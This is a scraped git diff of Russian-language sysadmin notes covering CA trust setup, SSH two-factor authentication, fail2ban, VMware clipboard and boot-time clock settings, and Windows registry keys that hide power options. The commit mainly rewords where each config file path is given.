```shell
|
```shell
|
||||||
cp <certificate>.pem /etc/pki/ca-trust/source/anchors/
|
cp <certificate>.pem /etc/pki/ca-trust/source/anchors/
|
||||||
```
|
```
|
||||||
|
|
||||||
### Обновление состава доверенного хранилища
|
### Обновление состава доверенного хранилища
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
update-ca-trust enable
|
update-ca-trust enable
|
||||||
update-ca-trust extract
|
update-ca-trust extract
|
||||||
|
@ -5,22 +5,23 @@ date: 2022-11-29T13:35:00+05:00
|
|||||||
tags: [linux, ssh]
|
tags: [linux, ssh]
|
||||||
---
|
---
|
||||||
## Установка пакета
|
## Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt install -y openssh-server libpam-google-authenticator
|
apt install -y openssh-server libpam-google-authenticator
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка конфига PAM
|
## Правка конфига PAM
|
||||||
```shell
|
|
||||||
auth required pam_google_authenticator.so
|
|
||||||
|
|
||||||
# auth required pam_google_authenticator.so
|
В файл `/etc/pam.d/common-auth` необходимо добавить следующее:
|
||||||
|
```config
|
||||||
|
auth required pam_google_authenticator.so
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка конфига ssh
|
## Правка конфига ssh
|
||||||
|
|
||||||
|
В файл `/etc/ssh/sshd_config` необходимо добавить следующее:
|
||||||
```config
|
```config
|
||||||
ChallengeResponseAuthentication yes
|
ChallengeResponseAuthentication yes
|
||||||
|
|
||||||
# /etc/ssh/sshd_config
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Конфигурация аутентификации
|
## Конфигурация аутентификации
|
||||||
@ -32,18 +33,14 @@ google-authenticator
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Управление факторами (необязательно)
|
## Управление факторами (необязательно)
|
||||||
Включить запрос ключа при аутентификации:
|
Для запроса ключа при аутентификации необходимо в файл `/etc/ssh/sshd_config` добавить следующее:
|
||||||
```config
|
```config
|
||||||
AuthenticationMethods publickey,password publickey,keyboard-interactive
|
AuthenticationMethods publickey,password publickey,keyboard-interactive
|
||||||
|
|
||||||
# /etc/ssh/sshd_config
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Отключить запрос пароля при аутентификации:
|
Для отключения запроса пароля при аутентификации необходимо в файле `/etc/pam.d/sshd` закомментировать следующюю строку:
|
||||||
```config
|
```config
|
||||||
#@include common-auth
|
# @include common-auth
|
||||||
|
|
||||||
# /etc/pam.d/sshd
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск сервиса ssh
|
## Перезапуск сервиса ssh
|
||||||
|
@ -10,6 +10,7 @@ apt -y install fail2ban
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Правило для ssh
|
## Правило для ssh
|
||||||
|
В файл `/etc/fail2ban/jail.d/sshd.conf` необходимо добавить следующее:
|
||||||
```config
|
```config
|
||||||
[sshd]
|
[sshd]
|
||||||
enabled = true
|
enabled = true
|
||||||
@ -19,8 +20,6 @@ logpath = /var/log/auth.log
|
|||||||
maxretry = 3
|
maxretry = 3
|
||||||
findtime = 300
|
findtime = 300
|
||||||
bantime = 3600
|
bantime = 3600
|
||||||
|
|
||||||
# /etc/fail2ban/jail.d/sshd.conf
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск сервиса fail2ban
|
## Перезапуск сервиса fail2ban
|
||||||
|
@ -4,11 +4,13 @@ description: У созданных VM будет включен буфер об
|
|||||||
date: 2022-11-25T15:08:00+05:00
|
date: 2022-11-25T15:08:00+05:00
|
||||||
tags: [vmware]
|
tags: [vmware]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Изменение конфига
|
## Изменение конфига
|
||||||
|
|
||||||
|
В файл `/etc/vmware/config` необходимо добавить следующее:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
vmx.fullpath = "/bin/vmx"
|
vmx.fullpath = "/bin/vmx"
|
||||||
isolation.tools.copy.disable="FALSE"
|
isolation.tools.copy.disable="FALSE"
|
||||||
isolation.tools.paste.disable="FALSE"
|
isolation.tools.paste.disable="FALSE"
|
||||||
|
|
||||||
# /etc/vmware/config
|
|
||||||
```
|
```
|
||||||
|
@ -4,11 +4,14 @@ description: При перезагрузке гипервизора будет
|
|||||||
date: 2022-11-25T15:18:00+05:00
|
date: 2022-11-25T15:18:00+05:00
|
||||||
tags: [vmware]
|
tags: [vmware]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Изменение скрипта
|
## Изменение скрипта
|
||||||
|
|
||||||
|
В файл `/etc/rc.local.d/local.sh` необходимо добавить следующее:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
#!/bin/sh ++group=host/vim/vmvisor/boot
|
#!/bin/sh ++group=host/vim/vmvisor/boot
|
||||||
|
|
||||||
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
|
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
|
||||||
exit 0
|
exit 0
|
||||||
|
|
||||||
# /etc/rc.local.d/local.sh
|
|
||||||
```
|
```
|
||||||
|
@ -4,12 +4,12 @@ description: Позволяет отключить определённую фу
|
|||||||
date: 2023-04-06T12:15:00+05:00
|
date: 2023-04-06T12:15:00+05:00
|
||||||
tags: [windows]
|
tags: [windows]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Отключение
|
## Отключение
|
||||||
В ветке реестра выставить значение value на 1.
|
В ветке реестра выставить значение value на 1.
|
||||||
|
|
||||||
```config
|
```config
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
|
||||||
|
|
||||||
# regedit
|
|
||||||
```
|
```
|
||||||
|
Loading…
Reference in New Issue
Block a user